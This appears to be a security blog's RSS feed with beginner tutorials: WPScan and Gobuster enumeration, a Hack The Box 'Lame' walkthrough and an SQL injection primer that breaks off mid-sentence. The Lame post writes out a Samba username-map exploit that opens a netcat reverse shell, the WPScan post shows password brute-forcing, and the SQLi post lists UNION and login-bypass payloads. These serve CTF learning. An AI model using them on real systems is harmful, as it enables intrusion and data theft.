flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*xEZevu4rXzCgj8Z9hjhbgg.png" /></figure><p>root flag is located in the root directory. And we find our rest of our answer and flag here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*tDF8rAwXCyeTWCPLnHXRsQ.png" /></figure><p>And with that we have successfully completed another ctf. Damn we are becoming hackers now haha. I hope this blog was fun and you learned something from it. Make sure to share this and follow me. ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36d75fd2bfca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Enumeration -WPScan]]></title>
            <link>https://noobsixt9.medium.com/web-enumeration-wpscan-f2ad5cbfd671?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2ad5cbfd671</guid>
            <category><![CDATA[wpscan]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Fri, 04 Nov 2022 15:04:38 GMT</pubDate>
            <atom:updated>2022-11-04T15:14:32.280Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the second blog of web enumeration basics and today i will write about WPScan which is also an automated tool for web enumeration. By the end of this blog you will know the basics of WPscan, how to install it, different modes of it and how to use it.</p><p><strong>Introduction:</strong><br>WPScan was first released in 2011 and it has survived the time and stood out as a vital tool that every pentester should have in their toolkit.</p><p>The WPScan framework is capable of enumerating &amp; researching a few security vulnerability categories present in WordPress sites — including — but not limited to:</p><ul><li>Sensitive Information Disclosure (Plugin &amp; Theme installation versions for disclosed vulnerabilities or CVE’s)</li><li>Path Discovery (Looking for misconfigured file permissions i.e. wp-config.php)</li><li>Weak Password Policies (Password bruteforcing)</li><li>Presence of Default Installation (Looking for default files)</li><li>Testing Web Application Firewalls (Common WAF plugins)</li></ul><p><strong>Installation:</strong><br>Thankfully WPScan comes preinstalled in latest version of Kali Linux and Parrot os. If you are using older version of Kali then you can simply install it from the following command in your terminal.</p><pre>sudo apt update &amp;&amp; sudo apt install wpscan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CEDW9jdd6aeGxnjwEeSniA.png" /></figure><p>If you are using different os and other distros you can check out the <a href="https://github.com/wpscanteam/wpscan#install">developer’s document</a> and lean how to install it in your machine.</p><p><strong>WPScan’s Database:<br></strong>WPScan uses information within a local database as a primary reference point when enumerating for themes and plugins. Before using WPScan, it is highly recommended that you update this database before performing any scans. <br>To update your wpscan database, simply run this command in your terminal</p><pre>wpscan --update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XWgK4LhEAzQ8eECLJtNERg.png" /></figure><p><strong>Enumerating Themes:</strong><br>WPScan have few ways of determining the installed theme in the site. Basically it first uses a technique that we can manually do it too. Simply we can look at the assets of web browser loads and then looks for the location of the installed theme on webserver. Using “Network” tab in your web browser you can see what files are loading when you visit that site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*-LwMrFc73zgV67eLHvGjPg.png" /></figure><p>Above we can see a screenshot where a lot of files have loaded and while checking them i found this url</p><pre>http://www.anywordpressintalledsite.com/wp-content/themes/twentynineteen</pre><p>By looking at this url we can be sure that the installed theme is twentynineteen.<br>Now let’s automate our work, shall we? let’s use our wpscan to find out what exact theme is running by typing following comman</p><pre>wpscan --url <a href="http://www.anywordpressintalledsite.com/">http://www.anywordpressintalledsite.com/</a> --enumerate t</pre><p>and here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*URJBE8tKoAYUnrfSgGeFTA.png" /></figure><p>The other best thing about wpscan is it tells you how it found out that result .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*g4QSzAuVdHTXfzZJhlYFWA.png" /></figure><p><strong>Enumerating Plugins:</strong><br>A very common feature of webserver is directory listing it’s just like <strong>ls </strong>command in linux. It lists the files and directories listed in that webserver. “Directory Listing” occurs when there is no file present that the webserver has been told to process. A very common file is “index.html” and “index.php”. As these files aren’t present in /a/directory, the contents are instead displayed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*rBk6eXCz3Se2NXawWrO7aA.png" /></figure><p>wpscan can leverage this feature to find out what plugins are installed. Since they will all be located in /wp-content/plugins/pluginname, WPScan can enumerate for common/known plugins. we can use following command to enumerate plugins.</p><pre>wpscan --url <a href="http://www.anywordpressintalledsite.com/">http://www.anywordpressintalledsite.com/</a> --enumerate p</pre><p>Reading through WordPress’ developer documentation, we can learn about “<a href="https://developer.wordpress.org/plugins/wordpress-org/how-your-readme-txt-works/#how-the-readme-is-parsed">Plugin Readme’s</a>” to figure out how WPScan determined the version number. Simply, plugins must have a “README.txt” file. This file contains meta-information such as the plugin name, the versions of WordPress it is compatible with and a description.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*YBEDjIBFPxetcOIINrUtiQ.png" /></figure><p><strong>Enumerating Users:</strong><br>After reading this much i think you will get the hint how powerful this tool is. So now if i tell you we can actually enumerate users too using this tool won’t surprise you haha. Ok let’s learn how this tool actually do this awesome enumeration. The way how WPScan enumerates for users is interestingly simple. WordPress sites use authors for posts. Authors are in fact a type of user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*F8Cp-hcd-LTWmLVonl3DNg.png" /></figure><p>Let’s use our wpscan to scan users and how we exactly we can do that? simple by following given command haha</p><pre>wpscan --url <a href="http://www.anywordpressintalledsite.com/">http://www.anywordpressintalledsite.com/</a> --enumerate u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NA47wBa6UuGn6kvt276xZQ.png" /></figure><p>Above we can see that it found user but it is saying something brute forcing ? yes, it can do that too. wpscan can bruteforce using a worldlist. Then after that it says login error? yes, it tried logging in with that username and found out that the user is real.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*2H30SiAAULbRxFFChAyE5Q.png" /></figure><p><strong>The “Vulnerable” flag:</strong><br>So far we have only enumerated themes, plugins and users and after this we will visit sites like MITRE, NVD and CVEDetails to look up the names of these plugins and the version numbers to determine any vulnerabilities. Which is quite time consuming and boring. That is why wpscan have a specific flag to do our boring work and that flag is -v. To check if any installed plugins are vulnerable or not we can type this simple command and find out</p><pre>wpscan --url <a href="http://www.anywordpressintalledsite.com/">http://www.anywordpressintalledsite.com/</a> --enumerate vp</pre><p>Above i said -v flag but i typed vp did i do a mistake? No, that p means plugin so that it can tell wpscan to check plugins if they are vulnerable or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*vGpBORX3IIEm3jC9362Hlg.png" /></figure><p>We got our results in just seconds and found out that the plugins are not vulnerable.</p><p><strong>Password Attack:</strong><br>After determining a list of possible usernames on the WordPress install, we can use WPScan to perform a bruteforcing technique against the username we specify and a password list that we provide. Simply, we use the output of our username enumeration to build a command like so:</p><pre>wpscan --url <a href="http://www.anywordpressintalledsite.com/">http://www.anywordpressintalledsite.com/</a> –-passwords rockyou.txt –-usernames Phreakazoid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*-6um_iN_In-A3lMr5PDz2A.png" /></figure><p>Adjusting WPScan’s Aggressiveness (WAF):<br>Unless specified, WPScan will try to be as least “noisy” as possible. Lots of requests to a web server can trigger things such as firewalls and ultimately result in you being blocked by the server.</p><p>This means that some plugins and themes may be missed by our WPScan. Luckily, we can use arguments such as --plugins-detection and an aggressiveness profile (passive/aggressive) to specify this. For example: --plugins-detection aggressive</p><p><strong>Summary — Cheatsheet:</strong></p><pre>Flag    Description                   Full Example<br>p       Enumerate Plugins             --enumerate p<br>t       Enumerate Themes              --enumerate t<br>u       Enumerate Usernames           --enumerate -u<br>v       check if plugin is vulnerable --enumerate vp<br>aggressive adjust aggressiveness      --plugins-detection aggressive</pre><p>Thank you for reading this much and i hope you learned a thing or two from this blog. Share this with someone who is interested in cybersec or bug bounty. I will write again so make sure you guys follow me hai and if you have any queries google it. Till then keep hacking ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2ad5cbfd671" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Enumeration Using Gobuster]]></title>
            <link>https://noobsixt9.medium.com/web-enumeration-using-gobuster-8437e7f4618d?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/8437e7f4618d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosecurity]]></category>
            <category><![CDATA[gobuster]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Wed, 02 Nov 2022 07:32:08 GMT</pubDate>
            <atom:updated>2022-11-02T07:41:19.142Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers, today i will be talking about web enumeration basics how we can manually enumerate a web application and also by using an automated tool called gobuster. I will talk about how we can install and operate that tool in Kali Linux machine.</p><p><strong>Manual Enumeration</strong></p><p>When you start your web enumeration the best tool for you to use is your favorite browser. Mine is Firefox so you can use your own like Chrome, Opera, Brave is pretty nice too. Your browser is as extensive as you are. It keeps record of data it receive and who from. We can use this for a range of activities: finding that exact photo or more usefully — the location of certain files or assets being loaded. This could include things from scripts to page URLs.</p><p><strong>Using our Browsers Developer Console</strong></p><p>Browsers including Chrome and Firefox have a suite of tools located in the “Developer Tools/Console”. We’re going to be discussing Firefox’s, however, Chrome has a very similar suite. This suite includes a range of tools including:</p><ul><li>Viewing page source code</li><li>Finding assets</li><li>Debugging &amp; executing code such as javascript on the client-side (our Browser)</li></ul><p>Using “F12” on our keyboard, this is a shortcut to launch this suite of tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DngDP_UfDdmA4saB3jmOTA.png" /></figure><p>In above picture you can see page heading hello world and down there you can see a section “inspector” tool is open. This allows us to see html source code of the web page. This often contains things such as developer comments, and the name to certain aspects of web page features including forms and the likes.</p><p>Developers often leave behind comments in the form of the <strong>&lt;! — →</strong>tags…for example: &lt;! — This is a comment → which are not rendered in the browser as we can see here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZmROR7acC-HgzjXc_MpzA.png" /></figure><p><strong>Gobuster</strong></p><p>Gobuster is written in <a href="https://golang.org/">Go</a>. Go is an open-source, low-level language (much like C or Rust) developed by a team at Google and other contributors. If you’d like to learn more about Go, visit the website linked above. It is one of the best tool out there to enumerate web and by web i meant directories, DNS, Subdomains and a lot more. You can get more info and source code of it <a href="https://github.com/OJ/gobuster">here</a>. When you finish this blog you will be able to do followings things using gobuster:</p><ul><li>How to install Gobuster on Kali Linux</li><li>How to use the “dir” mode to enumerate directories and several of its most useful options</li><li>How to use the “dns” mode to enumerate domains/subdomains and several of its most useful option</li><li>Where to go for help</li></ul><p><strong>Let’s start with how to install Gobuster on Kali Linux:</strong></p><p>You can install gobuster using following command in your terminal.</p><pre>sudo apt install gobuster</pre><p><strong>Useful Global Flag</strong></p><pre>flag        long flag            description<br>-t          --threads            No. of concurrent threads<br>-v          --verbose            Verbose output<br>-z          --no-progress        Don&#39;t display progress<br>-q          --quiet              Don&#39;t print the banner and noise<br>-o          --output             Output file to write results to</pre><p>I will typically change the number of threads to 64 to increase the speed of my scans. If you don’t change the number of threads, Gobuster can be a little slow.</p><p><strong>Gobuster Modes</strong></p><p>Gobuster is very powerful and versatile tool. It have different modes to do different things like dir mode is used when you are searching for web directories in a web app and dns mode is used when your are searching subdomains.</p><p><strong>“dir” Mode:</strong><br>we can pretty much guess what this mode does as it’s name implies it is used to brute force directories in web application. It is a very powerful tool it not only scan wesbite but it also returns it’s status code and this will immediately let you know if you as an outside user can request that directory or not. Additional functionality of Gobuster is that it lets you search for files as well with the addition of a simple flag!</p><p><strong>Using dir mode</strong>:<br>To use dir mode type following command</p><pre>gobuster dir</pre><p>This isn’t the full command but it tells the gobuster that the user wants to search directories in web. Now after this you will have to add url and the wordlist</p><pre>gobuster dir -u <a href="https://google.com/">http://</a>10.10.10.10 -w wordlist.txt</pre><p><strong>Note</strong>: The URL is going to be the base path where Gobuster starts looking from. So the URL above is using the root web directory. For example, in a typical Apache installation on Linux, this is<em> /var/www/html</em>. So if you have a “<strong>products</strong>” directory and you want to enumerate that directory, you’d set the URL as <a href="http://10.10.10.10/products."><em>http://10.10.10.10/</em><strong><em>products</em></strong>.</a> You can also think of this like <a href="http://example.com/path/to/folder."><em>http://example.com/path/to/folder</em>.</a> Also notice that I specified the protocol of HTTP. This is important and required.</p><p><strong>Other useful flags:</strong></p><pre>Flag     Long Flag        Description<br>-c          --cookies     Cookies to use for requests<br>-x          --extensions  File extension(s) to search for<br>-H          --headers     Specify HTTP headers, -H &#39;Header1: val1&#39; <br>-k          --no-tls-validation   Skip TLS certificate verification<br>-n          --no-status   Don&#39;t print status codes<br>-P          --password    Password for Basic Auth<br>-s          --status-codes Positive status codes<br>-b          --status-codes-blacklist   Negative status codes<br>-U          --username    Username for Basic Auth</pre><p>here -x or — extentsions flag is really useful to search file with specific extentsion.</p><pre>gobuster dir -u <a href="https://google.com/">http://</a>10.10.10.10 -w wordlist.txt -x html,php,bak</pre><p>In above command we specified to search for only those file which have .html, .php, .bak extension.</p><p>The -k flag is special because it has an important use during penetration tests and captures the flag events. In a capture the flag room on TryHackMe for example, if HTTPS is enabled, you will most likely encounter an invalid cert error like the one below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/0*l1tkm3OsT9y_rDlB.png" /></figure><p>if your run gobuster in this site without -k flag gobuster will pop out an long heart breaking error haha so in order to bypass these kinds invalid certifications and give you your results use -k falg in your command.</p><p><strong>“dns” mode:<br></strong>The next mode we&#39;ll focus on is the &quot;dns&quot; mode. This allows Gobuster to brute-force subdomains. During a penetration test (or capture the flag), it&#39;s important to check sub-domains of your target&#39;s top domain. sub-domains increase your scope so larger scope have higher possibilities to find a vulnerability.</p><p><strong>using “dns” mode:</strong></p><p>You can use dns mode by typing following command in your terminal</p><pre>gobuster dns</pre><p>as dir mode this command is incomplete this will tell the gobuster that user wants to do sub-domain brute forcing you have to again specify a domain and a wordlist file.</p><pre>gobuster dns -d mydomain.com -w subdomains.txt </pre><p>This command tells gobuster to do a sub-domain bruteforcing in mydomain.com</p><p>Other useful falgs:</p><pre>Flag     Long Flag    Description<br>-c      --show-cname  Show CNAME Records(can&#39;t use with &#39;-i&#39;)<br>-i      --show-ips    Show IP Addresses<br>-r      --resolverUse custom DNS server                                 </pre><p><strong>vhost mode:<br></strong>The last and final mode we’ll focus on is the “vhost” mode. This allows Gobuster to brute-force virtual hosts. Virtual hosts are different websites on the same machine. In some instances, they can appear to look like sub-domains, but don’t be deceived! Virtual Hosts are IP based and are running on the same server. This is not usually apparent to the end-user. On an engagement, it may be worthwhile to just run Gobuster in this mode to see if it comes up with anything. You never know, it might just find something! While participating in rooms on TryHackMe, virtual hosts would be a good way to hide a completely different website if nothing turned up on your main port 80/443 scan.</p><p><strong>using vhost mode:</strong></p><p>like dir and dns you can simply type the following command and run vhost mode in gobuster:</p><pre>gobuster vhost</pre><p>This notifies the gobuster that the user wants to bruteforce virtual hosts on the target url. After this you have to provide an url and a wordlist file.</p><pre>gobuster vhost -u <a href="http://10.10.10.10/">http://10.10.10.10</a> -w wordlist.txt</pre><p><strong>Other useful flags:</strong></p><p>You can see it’s flag and other documentation in the <a href="https://github.com/OJ/gobuster#vhost-mode-options">official documentation.</a></p><p><strong>Useful Wordlists:<br></strong>Here i have used the word wordlist frequently and i didn’t specify exactly which wordlists to use to do different jobs like bruteforcing web directories or dns.<br>So, in this section i will tell you about which wordlists to use when you are doing specific tasks.</p><p><strong>Kali Linux default wordlists:</strong><br>This are the default wordlists which comes pre-installed in kali linux. There are lots of wordlists i will mention which wordlists i use to do directory bruteforcing in kali linux.</p><ul><li>/usr/share/wordlists/dirbuster/directory-list-2.3-*.txt</li><li>/usr/share/wordlists/dirbuster/directory-list-1.0.txt</li><li>/usr/share/wordlists/dirb/big.txt</li><li>/usr/share/wordlists/dirb/common.txt</li><li>/usr/share/wordlists/dirb/small.txt</li><li>/usr/share/wordlists/dirb/extensions_common.txt — Useful for when fuzzing for files!</li></ul><p>/usr/share/wordlists have lots of wordlists for different tasks you can go there and check it all yourself.</p><p><strong>Non-Standard Lists:</strong><br>In addition to the above, Daniel Miessler has created an amazing GitHub repo called <a href="https://github.com/danielmiessler/SecLists">SecLists</a>. It compiles many different lists used for many different things. The best part is, it’s in apt! you can simply install all of those wordlists in your kali machin using following command:</p><pre>sudo apt install seclists</pre><p>in these two wordlists i think you will get all kinds of worldlists to do your bruteforcing job.</p><p>With that i think this will be better to end this blog here cause you know too much reading is boring but before i end i would like to say that gobuster is not the only tool you can use to do web enumeration there are lots of other powerful tools too like nikto, wpscan. I will write about those two in separate blogs.<br> Thank you so much for reading i hope you learned thing or two from here and yeah keep hacking. ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8437e7f4618d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB- Lame]]></title>
            <link>https://noobsixt9.medium.com/htb-lame-37c55cea2807?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/37c55cea2807</guid>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-lame]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Sun, 24 Jul 2022 05:19:36 GMT</pubDate>
            <atom:updated>2022-07-24T05:19:36.472Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first CTF in<a href="http://www.hackthebox.com/"> Hack The Box</a>. If you don’t know what it is in short it’s a platform for cybersecurity interested folks to learn, hone their skills and practice their knowledge. Check it out it’s awesome and many modules and machines are free so you can learn a lot from it.</p><p>Lame machine have difficulty level easy so it’s easy to solve i guess. Let’s start and find out.</p><p>We start with our pentest 101 methodology (i made it up there is no such thing):<br>- ENUMERATE<br>- SEARCH FOR VULNERABILITY <br>-EXPLOIT IT AND GAIN ACCESS</p><p>That’s it do these 3 things and you are hacker HAHA. Ok let’s start with enumeration. For enumeration i choose you Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*2qlyGFFiiL6el45FuTnrug.gif" /></figure><p>Nmap scan output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*HU1MQJL6Nf8TVu_lYA74qQ.png" /></figure><p>Here we can see there are 4 ports are open which are pretty much standard ports like ftp,ssh,samba.</p><p>We see that ftp allows anonymous login let’s check what it have for us. <br>sadly nothing. it doesn’t have anything. Next we can see SSH service is running and i honestly don’t think that version is vulnerable. So, i moved to our next port which is Server Message Block known as SMB in windows and samba in UNIX. For those who don’t know what Server Message Block is or what it does, It is a client-server protocol that provides access to resources such as files, printers and serial interfaces, and facilitates communication between network processes.</p><p>Now we grabbed it’s version which is 3.0.20 now boys and girls time to put some effort and do some hard work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*ugSvW9RSBthkvJpsV6O38Q.png" /></figure><p>Yes, googling is hard. As we can see there is a command execution vulnerability in this version and rapid7 means we can use metasploit too. we will do that too but let’s try manual way cause even if it’s vulnerable sometime exploit doesn’t work. so it is always a good habit to do it manually.</p><p>Let’s enumerate samba more and for that we will use smbclient command. we will try to login anonymously means without providing user pass. and quick note we can use enum4linux to enumerate samba further but let’s do it manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*m1saEQqJ_StttnHH8G6C3g.png" /></figure><blockquote>smbclient -N -L &lt;IP&gt;</blockquote><p>Let’s break the command:</p><p>smbclient : This command is used to communicate with SMB server.<br>-N : This flag is used to suppresses the normal password prompt from the client to the use. <br>-L : This flag lists and allows you to look at what services are available on a server.</p><p>We can see number of shares but what interest us the most is tmp share cause it have a comment oh hoes! no it’s noes. Which means we can write on that folder. We can connect to that share using following command:</p><blockquote>smbclient //&lt;ip&gt;/tmp</blockquote><p>press enter after you execute this command and you will see following interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*fKTcqxowG350hZRadEFzvw.png" /></figure><p>Now let’s understand what this vulnerability is and how to exploit it for that we can see CVE description here <a href="https://www.exploit-db.com/exploits/16320">https://www.exploit-db.com/exploits/16320</a> . In short This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default<br> &quot;username map script&quot; configuration option. By specifying a username<br> containing shell meta characters, attackers can execute arbitrary<br> commands.</p><p>You can always google the terms which you don’t know about like shell meta characters. Go on try it. I won’t tell you everything.</p><p>Now we can see that that CVE is doing. it’s logging in with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/163/1*0S7V4nBV3phGHv9m7vxoZA.png" /></figure><p>This username let’s copy it. &quot;/=`nohup `&quot;</p><p>Now let’s do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5pbT8wXTlWf--DNrp-RsPw.png" /></figure><p>Here you can see i first used this following command after connecting to smb sever:</p><p>logon &quot;/=`nohup nc -e /bin/sh &lt;myip&gt; &lt;port&gt;`&quot;</p><p>and split the window, start a netcat listener on same port we specified in the logon command. press enter then press enter to the logon command.</p><p>Voila! you got a sudo privilege on the machine now you can spawn a TTY shell using following command.</p><blockquote>pythons3 -c ‘import pty; pty.spawn(“/bin/bash”)’</blockquote><p>Now let’s do the same thing using metasploit. go on start your metasploit. Search for samba 3.0.20 exploits</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DInL3ALf6f7QKyL0fP3klQ.png" /></figure><blockquote>use 0</blockquote><blockquote>options</blockquote><blockquote>set RHOST &lt;MACHINE IP&gt;</blockquote><blockquote>set LHOST &lt;YOUR VPN IP&gt;</blockquote><p>All set now you are good to go. press run and you will have your shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t1cq3PeFg8P9hKyDlJ0OHQ.png" /></figure><p>There you have it your shell with root access. Now search for flags and that’s it. You have solved your HTB Lame ctf.</p><p>In this CTF we learned about different services, how to search for exploits, manual exploitation, Metasploit, Samab service, Samba enumeration, samba exploit, smbclient. <br>Thank you HTB and creator of this room for this amazing CTF. That’s it for this blog i will write again soon. Make sure you follow me HEHEHE. Till then Bye Bye keep learning, keep hacking ❤.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37c55cea2807" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learn SQLI | Basics of SQLI]]></title>
            <link>https://noobsixt9.medium.com/learn-sqli-basics-of-sqli-ab918de0d797?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab918de0d797</guid>
            <category><![CDATA[basic-sql]]></category>
            <category><![CDATA[basic-sqli]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sql-injection-beginner]]></category>
            <category><![CDATA[sqli]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Thu, 07 Jul 2022 18:28:53 GMT</pubDate>
            <atom:updated>2022-07-08T02:40:59.221Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers, Today we will learn about SQl injection vulnerability.what is sql and sqli,how to detect them,how to use them to extract information,how to prevent them.</p><p><strong>SQL</strong></p><p>SQL is the abbreviation of Structured Query Language. SQL is s a database computer language designed for the retrieval and management of data in a relational database management system.</p><p><strong>SQL INJECTION</strong></p><p>SQL Injection also known as SQLI is a vulnerability that occurs in web application when user inputs without sanitized or filtered directly put into the SQL query that access the DBMS. SQLI allows attackers to interfere with queries that an application makes to it’s database. With this interference in queries can be used to extract confidential user data from the database like usernames,passwords,credit card details, not only we can extract data we can manipulate data, delete data also.</p><p><strong>Retrieving hidden data</strong></p><p>Let’s assume there is an insecure web application which shows products available. When users clicks on a books category the website requests following url:</p><p>https://www.insecure-web.com/products?category=books</p><p>This causes the application to run following SQL query to it’s database:</p><p>SELECT * FROM products WHERE category=’books’</p><p>This query runs in the background so we can’t really see it. Let’s see what is really going on here:</p><p>SELECT : Selects<br>* : All details<br>FROM: From products table<br>WHERE: Where category is books</p><p>when we add all we get a command saying “select all details from products table where category name is books”. This command is sent to the database and the database follows it. It searches for the table name products if it finds it then it searches for column named category and under that category it searches for books. If it finds it then it sends response back saying here are the all details of books and we see it on website.</p><p>Now, let’s assume the website is have some unreleased books products and we want to see them but there is not any option for that. How can we do that? Yes, We give the website an injection. How do we do that? We interfere with SQL query:</p><p><a href="https://www.insecure-web.com/products?category=books">https://www.insecure-web.com/products?category=books</a>’ AND released=1</p><p>This changes the SQL query to this:</p><p>SELECT * FROM products WHERE category = ‘books’ AND released = 1</p><p>Here, released = 1 shows all the products including unreleased books.</p><p><strong>Subverting Application Logic</strong></p><p>If a users sends his username ‘victim’ and password ‘stupid123’ ,the application runs a SQL query to check it’s database if the provided credentials are there or not. Web application runs the following SQL query:</p><p>SELECT * FROM users WHERE username=’hackerboi’ AND password=’hackme69&#39;</p><p>If query returns details of user then login successful else invalid login credentials pops up.<br>So, if an application is vulnerable to SQLI we can bypass it by modifying the query:</p><p>SELECT * FROM users WHERE username=’hackerboi’ OR 1=1- -<br>password=’asassd’</p><p>This query runs and check for hackerboi which is obviously not there so it checks 1=1 which is always true and it let us login successfully. But only if application is vulnerable and it doesn’t have any user input filters.</p><p><strong>Retrieving Data From Database</strong></p><p>Now let’s assume that the application is vulnerable to SQLI and it returns SQL query results in application response then we can leverage that to retrieve data from the database. <br>For example if an application executes following query:</p><p>SELECT * FROM products WHERE category=’books’</p><p>Then attacker can change this query to the following query. Assuming there is an users table and username,password columns. we will learn to enumerate tables and columns but for now let’s assume they are in the database.</p><p>SELECT * FROM products WHERE category=’books’ UNION SELECT username,password FROM users- -</p><p>This query will show us books as well as it will also show us the data in the username and password column in the application response.</p><p><strong>SQL Injection UNION attacks</strong></p><p>UNION keyword let us to use multiple queries and append the results to the original query. UNION keyword is used to retrieve data from other tables within database which is known as UNION attacks.</p><p>SELECT a,b FROM table_1 UNION SELECT c,d FROM table_2</p><p>It will return 2 columns containing values of column a and b in table_1 and values of c,d in table_2.</p><p>— <strong>Requirements<br> </strong>There are some requirements you must need to meet in order to UNION attack run successfully.<br>-individual queries must return same number of columns<br>-data types in each column must be compatible between individual queries</p><p>Now, to meet the above requirements we have to figure out:<br>-How many columns are returned from original query?<br>-Which column is returned from the original query have suitable data type to hold the result from injected query? This means to check which column accepts which kind of data types like string or integers. For example:</p><p>SELECT * FROM products WHERE category=’books’ : this is our original query and we found out this query returns one column.</p><p>SELECT * FROM products WHERE category=’books’ UNION SELECT NULL- -<br>Here we found it returns one column now let’s say we want to dump usernames which is stored in characters meaning strings. Now we have to check either that one returned column accepts string data type or not. If yes we can dump our string data in that column.</p><p>SELECT * FROM products WHERE category=’books’ UNION SELECT ‘a’- -<br>Where ‘a’ is a string and when we pass this query and it doesn’t pops up errors we can confirm that column accepts string data type and dump our username there:</p><p>SELECT * FROM products WHERE category=’books’ UNION SELECT username FROM users- -<br>Dumps all username from user tables.</p><p><strong>Determining Number of Columns Required in SQL Injection UNION Attack</strong></p><p>— First Method<br>Injecting series of ORDER BY clause and incrementing specified column index.<br>‘ORDER BY 1- -<br>‘ORDER BY 2- -<br>‘ORDER BY 3- -<br>.<br>.<br>We keep doing it until we stop seeing this kind of error:<br>The ORDER BY position number 3 is out of range of the number of items in the select list.</p><p>— Second Method<br>Submitting UNION SELECT payloads specifying different number of NULL values.<br>‘UNION SELECT NULL- -<br>‘UNION SELECT NULL,NULL- -<br>‘UNION SELECT NULL,NULL,NULL- -<br>.<br>.<br>We keep adding NULL value until we stop getting error like this one:<br>All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.</p><p>NOTE:<br> -Error may vary from database to database<br> -The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.<br> -On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like: ‘ UNION SELECT NULL FROM DUAL — <br>-The payloads described use the double-dash comment sequence — to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment</p><p><strong>Finding Columns With Suitable Datatype in SQL Injection Attack</strong></p><p>Now after finding number of columns returned we can head towards which columns accept the data type we need in order to dump data. Generally, the interesting data that we want to retrieve will be in string form, so we need to find one or more columns in the original query results whose data type is, or is compatible with, string data.<br>‘UNION SELECT ‘a’- -<br>‘UNION SELECT NULL,’a’,NULL- -<br>‘UNION SELECT NULL,NULL,’a’- -<br>.<br>.<br>we keep checking which column support string data type and which column does not. If we don’t get an error we can confirm that column accepts string data type:<br>Conversion failed when converting the varchar value ‘a’ to data type int.</p><p><strong>Using SQL Injection UNION Attack to Retrieve Interesting Data</strong></p><p>Suppose:<br>-Our original query returns 2 columns and both supports string data types<br>-Injection point is quoted string in WHERE clause<br>-Database contains users table with username,password column.</p><p>Now we can retrieve data using following query:<br>SELECT * FROM products WHERE category=’books’ UNION SELECT username,password FROM users- -</p><p>This query will show us books 